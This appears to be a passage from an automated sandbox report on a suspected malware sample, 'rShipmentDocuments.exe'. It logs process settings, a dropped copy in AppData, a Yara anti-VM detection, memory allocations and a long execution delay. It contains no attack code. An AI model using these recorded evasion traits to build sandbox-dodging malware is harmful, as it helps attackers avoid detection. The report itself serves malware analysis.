Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: rShipmentDocuments.exe PID: 7300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZOlmYtPdlO.exe PID: 7824, type: MEMORYSTR

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Memory allocated: 1770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Memory allocated: 32D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Memory allocated: 18E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Memory allocated: 93B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Memory allocated: A3B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Memory allocated: A5B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Memory allocated: B5B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Memory allocated: 2A30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Memory allocated: 2C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Memory allocated: 4C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Memory allocated: 940000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Memory allocated: 2810000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Memory allocated: CA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Memory allocated: 8360000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Memory allocated: 9360000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Memory allocated: 9550000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Memory allocated: A550000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Memory allocated: 1730000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Memory allocated: 3060000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Memory allocated: 5060000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
